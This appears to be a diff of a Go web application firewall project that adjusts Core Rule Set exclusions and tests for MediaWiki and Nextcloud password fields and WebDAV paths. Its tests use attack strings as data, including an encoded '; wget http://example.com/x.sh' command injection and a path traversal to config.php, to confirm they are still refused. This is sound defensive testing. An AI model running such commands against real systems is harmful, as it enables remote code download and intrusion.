SecRule &ARGS_POST:wpTitles "@eq 1" "chain" SecRule &ARGS_POST:wpTitles "@eq 1" "chain"
SecRule ARGS_POST:wpTitles "!@rx [;|&`{]" \ SecRule ARGS_POST:wpTitles "!@rx [;|&`{]" \
@@ -219,5 +290,3 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\ ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\ ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932380;ARGS:wpTitles" ctl:ruleRemoveTargetById=932380;ARGS:wpTitles"
SecMarker END_MEDIAWIKI
+40 -55
View File
@@ -3,17 +3,13 @@ package coreruleset_test
import ( import (
"net/http" "net/http"
"slices" "slices"
"strings"
"testing" "testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
) )
// mediawikiThreshold is SWW_WAF_ANOMALY_THRESHOLD's default. // mediawikiThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
const mediawikiThreshold = 5 const mediawikiThreshold = 5
// mediawiki is MediaWiki's name in SWW_APPS.
const mediawiki = "mediawiki"
// mediawikiEdit is the address MediaWiki's edit form posts to. // mediawikiEdit is the address MediaWiki's edit form posts to.
const mediawikiEdit = "/index.php?title=Example&action=submit" const mediawikiEdit = "/index.php?title=Example&action=submit"
@@ -50,50 +46,13 @@ const (
func TestOrdinaryMediaWikiRequestsPass(t *testing.T) { func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
t.Parallel() t.Parallel()
wantRecordedRequestsPass(t, "mediawiki-requests.txt", mediawiki) wantRecordedRequestsPass(t, "mediawiki-requests.txt")
}
func TestMediaWikiFixesApplyOnlyToAHostnameThatServesMediaWiki(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {mediawiki},
})
// A search, which only MediaWiki's fixes let through.
search := get("/index.php?title=Special:Search&search=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
func TestMediaWikiWatchlistFixAppliesOnlyToAHostnameThatServesMediaWiki(t *testing.T) {
t.Parallel()
crs := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
Apps: map[string][]string{giteaHost: {gitea}, otherHost: {mediawiki}},
})
// A watchlist that only the phase 2 rule 900916 lets through.
r := request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0APython3%20notes"
got, _ := inspectBody(t, crs, withHost(r, otherHost), body)
if got.Score >= mediawikiThreshold {
t.Errorf("POST %s %s on %s refused: %+v", r.target, body, otherHost, got)
}
got, _ = inspectBody(t, crs, withHost(r, giteaHost), body)
if got.Score < mediawikiThreshold {
t.Errorf("POST %s %s on %s let through: %+v", r.target, body, giteaHost, got)
}
} }
// mediawikiQueryFields and mediawikiBodyFields together hold every field that // mediawikiQueryFields and mediawikiBodyFields together hold every field that
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and // skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
// the JSON fields of /rest.php/. mediawikiQueryFields sends each in the query, on a // the passwords and the JSON fields of /rest.php/. mediawikiQueryFields sends
// path where it skips them, ending in "=". // each in the query, on a path where it skips them, ending in "=".
// //
//nolint:gochecknoglobals // a constant cannot be a list //nolint:gochecknoglobals // a constant cannot be a list
var mediawikiQueryFields = []string{ var mediawikiQueryFields = []string{
@@ -178,9 +137,9 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
type mediawikiBodyField struct{ target, field string } type mediawikiBodyField struct{ target, field string }
// mediawikiBodyFields and mediawikiQueryFields together hold every field that // mediawikiBodyFields and mediawikiQueryFields together hold every field that
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and // skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
// the JSON fields of /rest.php/. mediawikiBodyFields sends each in a form data body, on // the passwords and the JSON fields of /rest.php/. mediawikiBodyFields sends
// a path where it skips them. // each in a form data body, on a path where it skips them.
// //
//nolint:gochecknoglobals // a constant cannot be a list //nolint:gochecknoglobals // a constant cannot be a list
var mediawikiBodyFields = []mediawikiBodyField{ var mediawikiBodyFields = []mediawikiBodyField{
@@ -188,13 +147,11 @@ var mediawikiBodyFields = []mediawikiBodyField{
{mediawikiUpload, "wpUploadDescription="}, {mediawikiUpload, "wpUploadDescription="},
{mediawikiUpload, "wpDestFile="}, {mediawikiUpload, "wpDestFile="},
{mediawikiSignIn, "wpName="}, {mediawikiSignIn, "wpName="},
{mediawikiSignIn, "wpPassword="},
{mediawikiMove, "wpOldTitle="}, {mediawikiMove, "wpOldTitle="},
{mediawikiMove, "wpNewTitleMain="}, {mediawikiMove, "wpNewTitleMain="},
{mediawikiMove, "wpReason="}, {mediawikiMove, "wpReason="},
{mediawikiBlock, "wpTarget="}, {mediawikiBlock, "wpTarget="},
{mediawikiSignInPage, "wpName="}, {mediawikiSignInPage, "wpName="},
{"/w" + mediawikiSignInPage, "wpPassword="},
{mediawikiUploadPage, "wpDestFile="}, {mediawikiUploadPage, "wpDestFile="},
{"/w" + mediawikiUploadPage, "wpUploadDescription="}, {"/w" + mediawikiUploadPage, "wpUploadDescription="},
{mediawikiAPI, "title="}, {mediawikiAPI, "title="},
@@ -207,8 +164,18 @@ var mediawikiBodyFields = []mediawikiBodyField{
{mediawikiAPI, "reason="}, {mediawikiAPI, "reason="},
{mediawikiAPI, "user="}, {mediawikiAPI, "user="},
{mediawikiAPI, "lgname="}, {mediawikiAPI, "lgname="},
{mediawikiAPI, "lgpassword="},
{mediawikiAPI, "username="}, {mediawikiAPI, "username="},
}
// mediawikiPasswordFields are the passwords, which skip the four rules and the
// rules that random passwords set off. mediawikiPasswordFields sends each in a
// form data body, on a path where it skips them.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mediawikiPasswordFields = []mediawikiBodyField{
{mediawikiSignIn, "wpPassword="},
{"/w" + mediawikiSignInPage, "wpPassword="},
{mediawikiAPI, "lgpassword="},
{mediawikiAPI, passwordField}, {mediawikiAPI, passwordField},
} }
@@ -275,6 +242,23 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
} }
} }
func TestMediaWikiPasswordsPass(t *testing.T) {
t.Parallel()
for _, sent := range mediawikiPasswordFields {
t.Run(sent.target+" "+sent.field, func(t *testing.T) {
t.Parallel()
r := request{http.MethodPost, sent.target, []string{formData}}
name := strings.TrimSuffix(sent.field, "=")
wantRandomPasswordsPass(t, r, name)
wantPasswordAttacksPass(t, r, name)
wantPasswordAttacksRefused(t, r, name)
})
}
}
// mediawikiCommandAttack is a shell command that only 932235 refuses on the // mediawikiCommandAttack is a shell command that only 932235 refuses on the
// fields that skip the other command rules, as a query value. // fields that skip the other command rules, as a query value.
const mediawikiCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh" const mediawikiCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
@@ -295,7 +279,8 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
crs = readingBodies(t) crs = readingBodies(t)
for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields) { for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields,
mediawikiPasswordFields) {
r := request{http.MethodPost, sent.target, []string{formData}} r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack) got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
@@ -353,8 +338,8 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
} }
} }
fields := append(append([]mediawikiBodyField{}, mediawikiBodyFields...), fields := slices.Concat(mediawikiBodyFields, mediawikiWikitextFields,
mediawikiWikitextFields...) mediawikiPasswordFields)
for _, sent := range fields { for _, sent := range fields {
r := request{http.MethodPost, sent.target, []string{formData}} r := request{http.MethodPost, sent.target, []string{formData}}
+41 -70
View File
@@ -1,4 +1,4 @@
# Nextcloud's fixes: on Nextcloud's paths, some fields skip the rules that # The fourteenth change: on Nextcloud's paths, some fields skip the rules that
# refused ordinary Nextcloud requests there. They are the fields where Nextcloud # refused ordinary Nextcloud requests there. They are the fields where Nextcloud
# sends a search, a name, a file name, a folder, a comment, a note, a status or # sends a search, a name, a file name, a folder, a comment, a note, a status or
# a document's text. Each exclusion runs with the request, before the rules it # a document's text. Each exclusion runs with the request, before the rules it
@@ -29,13 +29,6 @@
# "; wget http://example.com/x.sh" reaches Nextcloud in these fields. SQL # "; wget http://example.com/x.sh" reaches Nextcloud in these fields. SQL
# injection, path traversal and script injection are still refused there. # injection, path traversal and script injection are still refused there.
# Unless SWW_APPS lists nextcloud for the request's hostname, every rule below
# is skipped. Inspect sets tx.app_nextcloud when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_nextcloud itself.
SecRule &TX:app_nextcloud "@eq 0" \
"id:900090,phase:1,pass,nolog,skipAfter:END_NEXTCLOUD"
# The sync client and the Files app use these WebDAV methods besides those # The sync client and the Files app use these WebDAV methods besides those
# the first change allows, on /remote.php/dav/ and /public.php/dav/ and on the # the first change allows, on /remote.php/dav/ and /public.php/dav/ and on the
# older /remote.php/webdav/ and /public.php/webdav/. 911100 refused each: # older /remote.php/webdav/ and /public.php/webdav/. 911100 refused each:
@@ -68,6 +61,46 @@ SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user|password|redirect_url)$/,\ ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user|password|redirect_url)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user|password|redirect_url)$/" ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user|password|redirect_url)$/"
# The password, in the body, skips each rule that random passwords set off.
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
"id:900119,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:password "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:password,\
ctl:ruleRemoveTargetById=920540;ARGS:password,\
ctl:ruleRemoveTargetById=921200;ARGS:password,\
ctl:ruleRemoveTargetById=930100;ARGS:password,\
ctl:ruleRemoveTargetById=930110;ARGS:password,\
ctl:ruleRemoveTargetById=930120;ARGS:password,\
ctl:ruleRemoveTargetById=932125;ARGS:password,\
ctl:ruleRemoveTargetById=932130;ARGS:password,\
ctl:ruleRemoveTargetById=932160;ARGS:password,\
ctl:ruleRemoveTargetById=932230;ARGS:password,\
ctl:ruleRemoveTargetById=932250;ARGS:password,\
ctl:ruleRemoveTargetById=932260;ARGS:password,\
ctl:ruleRemoveTargetById=932270;ARGS:password,\
ctl:ruleRemoveTargetById=932280;ARGS:password,\
ctl:ruleRemoveTargetById=932330;ARGS:password,\
ctl:ruleRemoveTargetById=932340;ARGS:password,\
ctl:ruleRemoveTargetById=932370;ARGS:password,\
ctl:ruleRemoveTargetById=932380;ARGS:password,\
ctl:ruleRemoveTargetById=933100;ARGS:password,\
ctl:ruleRemoveTargetById=933135;ARGS:password,\
ctl:ruleRemoveTargetById=933180;ARGS:password,\
ctl:ruleRemoveTargetById=933210;ARGS:password,\
ctl:ruleRemoveTargetById=941100;ARGS:password,\
ctl:ruleRemoveTargetById=941120;ARGS:password,\
ctl:ruleRemoveTargetById=941160;ARGS:password,\
ctl:ruleRemoveTargetById=941180;ARGS:password,\
ctl:ruleRemoveTargetById=942100;ARGS:password,\
ctl:ruleRemoveTargetById=942151;ARGS:password,\
ctl:ruleRemoveTargetById=942190;ARGS:password,\
ctl:ruleRemoveTargetById=942230;ARGS:password,\
ctl:ruleRemoveTargetById=942290;ARGS:password,\
ctl:ruleRemoveTargetById=942320;ARGS:password,\
ctl:ruleRemoveTargetById=942540;ARGS:password,\
ctl:ruleRemoveTargetById=942550;ARGS:password,\
ctl:ruleRemoveTargetById=944150;ARGS:password"
# The folder the Files app shows: /apps/files/?dir=/Powershell%20modules. # The folder the Files app shows: /apps/files/?dir=/Powershell%20modules.
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files/" \ SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files/" \
"id:900103,phase:1,pass,nolog,\ "id:900103,phase:1,pass,nolog,\
@@ -253,65 +286,3 @@ SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/systemtags/?$" \
SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \ SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \
"id:900118,phase:1,pass,nolog,chain" "id:900118,phase:1,pass,nolog,chain"
SecRule REQUEST_METHOD "@streq PUT" "ctl:requestBodyProcessor=RAW" SecRule REQUEST_METHOD "@streq PUT" "ctl:requestBodyProcessor=RAW"
# The Calendar and Contacts apps, and the CalDAV and CardDAV clients of phones
# and desktops, keep calendars under /remote.php/dav/calendars/ and address
# books under /remote.php/dav/addressbooks/. A CalDAV client makes a calendar
# with MKCALENDAR, which 911100 refused.
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/calendars/" \
"id:900119,phase:1,pass,nolog,\
setvar:'tx.allowed_methods=%{tx.allowed_methods} MKCALENDAR'"
# Such a client first asks where the calendars and address books are, with a
# PROPFIND on /.well-known/caldav or /.well-known/carddav. Nextcloud answers
# with a redirect to /remote.php/dav/. 911100 refused the PROPFIND.
SecRule REQUEST_FILENAME "@rx ^/\.well-known/(?:caldav|carddav)$" \
"id:900120,phase:1,pass,nolog,\
setvar:'tx.allowed_methods=%{tx.allowed_methods} PROPFIND'"
# A new calendar or address book has its name in the XML body of an MKCOL,
# <d:displayname>Python3 and powershell</d:displayname>. An address book's
# MKCOL may also hold its description (900124).
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/(?:calendars|addressbooks)/" \
"id:900121,phase:1,pass,nolog,chain"
SecRule REQUEST_METHOD "@streq MKCOL" \
"ctl:ruleRemoveTargetById=930120;XML:/*,\
ctl:ruleRemoveTargetById=932120;XML:/*,\
ctl:ruleRemoveTargetById=932250;XML:/*,\
ctl:ruleRemoveTargetById=932260;XML:/*"
# The XML body of an MKCALENDAR holds the new calendar's name and its
# description. The description is a sentence, and two rules for sentences
# refused it too:
# 932125, 932230: Powershell and python3 meetings; ls -la first
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/calendars/" \
"id:900122,phase:1,pass,nolog,chain"
SecRule REQUEST_METHOD "@streq MKCALENDAR" \
"ctl:ruleRemoveTargetById=930120;XML:/*,\
ctl:ruleRemoveTargetById=932120;XML:/*,\
ctl:ruleRemoveTargetById=932125;XML:/*,\
ctl:ruleRemoveTargetById=932230;XML:/*,\
ctl:ruleRemoveTargetById=932250;XML:/*,\
ctl:ruleRemoveTargetById=932260;XML:/*"
# When the Calendar app changes an event, it names the charset twice in the
# Content-Type of the PUT:
# text/calendar; charset=UTF-8; component=vevent; charset=UTF-8
# The Contacts app does the same with text/vcard when it changes a contact.
# 920530 refused both. The body of such a PUT is not read (900118).
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/(?:calendars|addressbooks)/" \
"id:900123,phase:1,pass,nolog,chain"
SecRule REQUEST_METHOD "@streq PUT" "chain"
SecRule REQUEST_HEADERS:Content-Type "@rx ^text/(?:calendar|vcard);" \
"ctl:ruleRemoveById=920530"
# The XML body of a new address book's MKCOL may hold its description. Like a
# calendar's (900122), it is a sentence, and the same two rules refused it:
# 932125, 932230: Powershell and python3 contacts; ls -la first
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/addressbooks/" \
"id:900124,phase:1,pass,nolog,chain"
SecRule REQUEST_METHOD "@streq MKCOL" \
"ctl:ruleRemoveTargetById=932125;XML:/*,\
ctl:ruleRemoveTargetById=932230;XML:/*"
SecMarker END_NEXTCLOUD
+34 -201
View File
@@ -6,7 +6,6 @@ import (
"maps" "maps"
"net/http" "net/http"
"net/url" "net/url"
"slices"
"strings" "strings"
"testing" "testing"
@@ -16,6 +15,9 @@ import (
// nextcloudThreshold is SWW_WAF_ANOMALY_THRESHOLD's default. // nextcloudThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
const nextcloudThreshold = 5 const nextcloudThreshold = 5
// nextcloudSignIn is the sign-in page.
const nextcloudSignIn = "/login"
// nextcloudShare is a public share's page. // nextcloudShare is a public share's page.
const nextcloudShare = "/s/AbCdEfGhIjKlMnO" const nextcloudShare = "/s/AbCdEfGhIjKlMnO"
@@ -48,47 +50,10 @@ const (
// nextcloudOther is a JSON field no exclusion names. // nextcloudOther is a JSON field no exclusion names.
const nextcloudOther = `{"other":"python3"}` const nextcloudOther = `{"other":"python3"}`
// nextcloud is Nextcloud's name in SWW_APPS.
const nextcloud = "nextcloud"
func TestOrdinaryNextcloudRequestsPass(t *testing.T) { func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
t.Parallel() t.Parallel()
wantRecordedRequestsPass(t, "nextcloud-requests.txt", nextcloud) wantRecordedRequestsPass(t, "nextcloud-requests.txt")
}
func TestNextcloudFixesApplyOnlyToAHostnameThatServesNextcloud(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {nextcloud},
})
// A search, which only Nextcloud's fixes let through.
search := get(nextcloudUsers + "?search=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
func TestNextcloudWebDAVMethodsPassOnlyOnHostnamesThatServeNextcloud(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {nextcloud},
})
// Listing a folder, as the sync client does.
list := request{nextcloudPropFind, nextcloudFiles, nil}
wantResult(t, crs, withHost(list, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(list, giteaHost), matched(911100))
// Making a calendar, as a CalDAV client does.
calendar := request{nextcloudMkcalendar, nextcloudCalendars + "work/", nil}
wantResult(t, crs, withHost(calendar, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(calendar, giteaHost), matched(911100))
} }
// nextcloudQueryFields are the query fields that skip 930120, 932120, 932250 // nextcloudQueryFields are the query fields that skip 930120, 932120, 932250
@@ -120,8 +85,7 @@ var nextcloudQueryFields = []string{
// //
//nolint:gochecknoglobals // a constant cannot be a list //nolint:gochecknoglobals // a constant cannot be a list
var nextcloudFormFields = []struct{ target, field string }{ var nextcloudFormFields = []struct{ target, field string }{
{"/login", "user="}, {nextcloudSignIn, "user="},
{"/login", passwordField},
{nextcloudUsers, "userid="}, {nextcloudUsers, "userid="},
{nextcloudUsers, "displayName="}, {nextcloudUsers, "displayName="},
{nextcloudUsers, "groups%5B%5D="}, {nextcloudUsers, "groups%5B%5D="},
@@ -164,55 +128,8 @@ var nextcloudBodies = []nextcloudBody{
`<d:prop><d:displayname/></d:prop><d:literal>%%s%</d:literal>` + `<d:prop><d:displayname/></d:prop><d:literal>%%s%</d:literal>` +
`</d:like></d:where></d:basicsearch></d:searchrequest>`, `</d:like></d:where></d:basicsearch></d:searchrequest>`,
}, },
{nextcloudMkcol, nextcloudCalendars + "work", xmlBody, nextcloudNewCollection},
{nextcloudMkcol, nextcloudAddressBooks + "team", xmlBody, nextcloudNewCollection},
{nextcloudMkcalendar, nextcloudCalendars + "work/", xmlBody, nextcloudNewCalendar},
} }
// The WebDAV methods that make a calendar or an address book.
const (
nextcloudMkcol = "MKCOL"
nextcloudMkcalendar = "MKCALENDAR"
)
// nextcloudCalendars and nextcloudAddressBooks hold the calendars and the
// address books of the account admin.
const (
nextcloudCalendars = "/remote.php/dav/calendars/admin/"
nextcloudAddressBooks = "/remote.php/dav/addressbooks/users/admin/"
)
// nextcloudNewCollection is the XML body that names a new calendar or address
// book, as an MKCOL sends it.
const nextcloudNewCollection = `<d:mkcol xmlns:d="DAV:"><d:set><d:prop>` +
`<d:displayname>%s</d:displayname></d:prop></d:set></d:mkcol>`
// nextcloudNewCalendar is the XML body of an MKCALENDAR that names the new
// calendar.
const nextcloudNewCalendar = `<c:mkcalendar xmlns:d="DAV:" ` +
`xmlns:c="urn:ietf:params:xml:ns:caldav"><d:set><d:prop>` +
`<d:displayname>%s</d:displayname></d:prop></d:set></c:mkcalendar>`
// nextcloudCalendarDescription is the XML body of an MKCALENDAR that gives
// the new calendar a description.
const nextcloudCalendarDescription = `<c:mkcalendar xmlns:d="DAV:" ` +
`xmlns:c="urn:ietf:params:xml:ns:caldav"><d:set><d:prop>` +
`<d:displayname>Meetings</d:displayname>` +
`<c:calendar-description>%s</c:calendar-description>` +
`</d:prop></d:set></c:mkcalendar>`
// nextcloudAddressBookDescription is the XML body of an MKCOL that gives a new
// address book a description.
const nextcloudAddressBookDescription = `<mkcol xmlns="DAV:" ` +
`xmlns:CARD="urn:ietf:params:xml:ns:carddav"><set><prop>` +
`<resourcetype><collection /><CARD:addressbook /></resourcetype>` +
`<displayname>Trainers</displayname>` +
`<CARD:addressbook-description>%s</CARD:addressbook-description>` +
`</prop></set></mkcol>`
// nextcloudDescription is a calendar's description, as recorded.
const nextcloudDescription = "Powershell and python3 meetings; ls -la first"
// nextcloudDocument is the text of a document the text editor saves, which // nextcloudDocument is the text of a document the text editor saves, which
// skips the rules for code blocks too. // skips the rules for code blocks too.
// //
@@ -338,6 +255,17 @@ func nextcloudTextScores(t *testing.T, text string) map[string]int {
return scores return scores
} }
// nextcloudPasswordScore returns the score that the Core Rule Set, reading
// bodies, gives signing in with value, a query value, as the password.
func nextcloudPasswordScore(t *testing.T, value string) int {
t.Helper()
r := request{http.MethodPost, nextcloudSignIn, []string{formData}}
got, _ := inspectBody(t, readingBodies(t), r, passwordField+value)
return got.Score
}
func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) { func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
t.Parallel() t.Parallel()
@@ -347,7 +275,21 @@ func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
t.Errorf("%s refused: %d", request, score) t.Errorf("%s refused: %d", request, score)
} }
} }
if score := nextcloudPasswordScore(t, value); score >= nextcloudThreshold {
t.Errorf("password %s refused: %d", value, score)
} }
}
}
func TestNextcloudPasswordPasses(t *testing.T) {
t.Parallel()
r := request{http.MethodPost, nextcloudSignIn, []string{formData}}
wantRandomPasswordsPass(t, r, "password")
wantPasswordAttacksPass(t, r, "password")
wantPasswordAttacksRefused(t, r, "password")
} }
func TestNextcloudSentencesPassInTheTexts(t *testing.T) { func TestNextcloudSentencesPassInTheTexts(t *testing.T) {
@@ -398,6 +340,10 @@ func TestNextcloudAttacksAreRefusedInTheExcludedFields(t *testing.T) {
t.Errorf("%s let through: %d", request, score) t.Errorf("%s let through: %d", request, score)
} }
} }
if score := nextcloudPasswordScore(t, commandInjection); score < nextcloudThreshold {
t.Errorf("password %s let through: %d", commandInjection, score)
}
} }
func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) { func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) {
@@ -460,119 +406,6 @@ func TestNextcloudWebDAVMethodsAreAllowedOnlyThere(t *testing.T) {
} }
wantResult(t, crs, request{"FOO", nextcloudFiles, nil}, matched(911100)) wantResult(t, crs, request{"FOO", nextcloudFiles, nil}, matched(911100))
// MKCALENDAR only where the calendars are.
for _, target := range []string{nextcloudCalendars, nextcloudCalendars + "work/"} {
wantResult(t, crs, request{nextcloudMkcalendar, target, nil}, matched())
}
for _, target := range []string{
nextcloudFiles, nextcloudAddressBooks, "/remote.php/dav/",
"/x/remote.php/dav/calendars/",
} {
wantResult(t, crs, request{nextcloudMkcalendar, target, nil}, matched(911100))
}
// PROPFIND, and no other WebDAV method, where a client asks for them.
for _, target := range []string{"/.well-known/caldav", "/.well-known/carddav"} {
wantResult(t, crs, request{nextcloudPropFind, target, nil}, matched())
wantResult(t, crs, request{nextcloudMkcol, target, nil}, matched(911100))
}
other := request{nextcloudPropFind, "/.well-known/other", nil}
wantResult(t, crs, other, matched(911100))
}
func TestNextcloudDescriptionsPassAndAttacksAreRefused(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// A new calendar's and a new address book's description, as recorded.
for _, described := range []struct {
sent nextcloudBody
description string
}{
{
nextcloudBody{
nextcloudMkcalendar, nextcloudCalendars + "work/", xmlBody,
nextcloudCalendarDescription,
},
nextcloudDescription,
},
{
nextcloudBody{
nextcloudMkcol, nextcloudAddressBooks + "trainers/", xmlBody,
nextcloudAddressBookDescription,
},
"Powershell and python3 contacts; ls -la first",
},
} {
sent := described.sent
request, score := nextcloudBodyScore(t, crs, sent, described.description)
if score >= nextcloudThreshold {
t.Errorf("%s refused: %d", request, score)
}
for _, attack := range []string{
sqlInjection, "..%2F..%2Fconfig%2Fconfig.php", scriptInjection, commandInjection,
} {
written, err := url.QueryUnescape(attack)
if err != nil {
t.Fatal(err)
}
request, score := nextcloudBodyScore(t, crs, sent, written)
if score < nextcloudThreshold {
t.Errorf("%s let through: %d", request, score)
}
}
// An MKCOL on the calendars' paths skips only the rules for names.
sent.method, sent.target = nextcloudMkcol, nextcloudCalendars+"work/"
request, score = nextcloudBodyScore(t, crs, sent, described.description)
if score < nextcloudThreshold {
t.Errorf("%s let through: %d", request, score)
}
}
}
// nextcloudChangedEvent is the Content-Type of the PUT with which the
// Calendar app changes an event.
const nextcloudChangedEvent = "Content-Type: text/calendar; charset=UTF-8; " +
"component=vevent; charset=UTF-8"
func TestNextcloudChangedEventsAndContactsPass(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, changed := range []request{
{http.MethodPut, nextcloudCalendars + "work/1.ics", []string{nextcloudChangedEvent}},
{
http.MethodPut, nextcloudAddressBooks + "team/1.vcf",
[]string{"Content-Type: text/vcard; charset=UTF-8; charset=UTF-8"},
},
} {
wantResult(t, crs, changed, matched())
}
// Elsewhere, with another method or another type, two charsets are refused.
for _, refused := range []request{
{http.MethodPut, nextcloudFiles + "1.ics", []string{nextcloudChangedEvent}},
{http.MethodPost, nextcloudCalendars + "work/1.ics", []string{nextcloudChangedEvent}},
{
http.MethodPut, nextcloudCalendars + "work/1.ics",
[]string{"Content-Type: text/plain; charset=UTF-8; charset=UTF-8"},
},
} {
if got := inspect(t, crs, refused); !slices.Contains(got.RuleIDs, 920530) {
t.Errorf("%s %s %q let through: %+v",
refused.method, refused.target, refused.headers, got)
}
}
} }
// nextcloudUploads are a JSON file and an XML file, as the Files app uploads // nextcloudUploads are a JSON file and an XML file, as the Files app uploads
-45
View File
@@ -2,8 +2,6 @@
# at the defaults. They were recorded from a Nextcloud driven by a headless # at the defaults. They were recorded from a Nextcloud driven by a headless
# Chrome, by its command-line sync client 3.16.7 and by an API client. The API # Chrome, by its command-line sync client 3.16.7 and by an API client. The API
# client's LOCK and UNLOCK send what the desktop client's "Lock file" action # client's LOCK and UNLOCK send what the desktop client's "Lock file" action
# sends. The last lines come from the Calendar app 6.6.5, the Contacts app
# 8.9.5 and an API client sending what the CalDAV and CardDAV client DAVx5
# sends. Each line is one request as JSON. Host names, passwords and session # sends. Each line is one request as JSON. Host names, passwords and session
# cookies are invented, and the bodies of large uploads are shortened. # cookies are invented, and the bodies of large uploads are shortened.
{"method": "GET", "target": "/status.php", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*"], "body": ""} {"method": "GET", "target": "/status.php", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*"], "body": ""}
@@ -1342,46 +1340,3 @@
{"method": "PUT", "target": "/ocs/v2.php/apps/user_status/api/v1/user_status/message/custom?format=json", "headers": ["Accept-Encoding: identity", "Content-Length: 94", "Host: example.com", "User-Agent: Python-urllib/3.12", "Authorization: Basic YWRtaW46RXhhbXBsZS1hZG1pbi1wYXNz", "Ocs-Apirequest: true", "Content-Type: application/json", "Accept: application/json, text/plain, */*", "Connection: close"], "body": "{\"message\": \"Run python3 or powershell; ls -la shows .htaccess\", \"statusIcon\": \"\\ud83d\\udcbb\"}"} {"method": "PUT", "target": "/ocs/v2.php/apps/user_status/api/v1/user_status/message/custom?format=json", "headers": ["Accept-Encoding: identity", "Content-Length: 94", "Host: example.com", "User-Agent: Python-urllib/3.12", "Authorization: Basic YWRtaW46RXhhbXBsZS1hZG1pbi1wYXNz", "Ocs-Apirequest: true", "Content-Type: application/json", "Accept: application/json, text/plain, */*", "Connection: close"], "body": "{\"message\": \"Run python3 or powershell; ls -la shows .htaccess\", \"statusIcon\": \"\\ud83d\\udcbb\"}"}
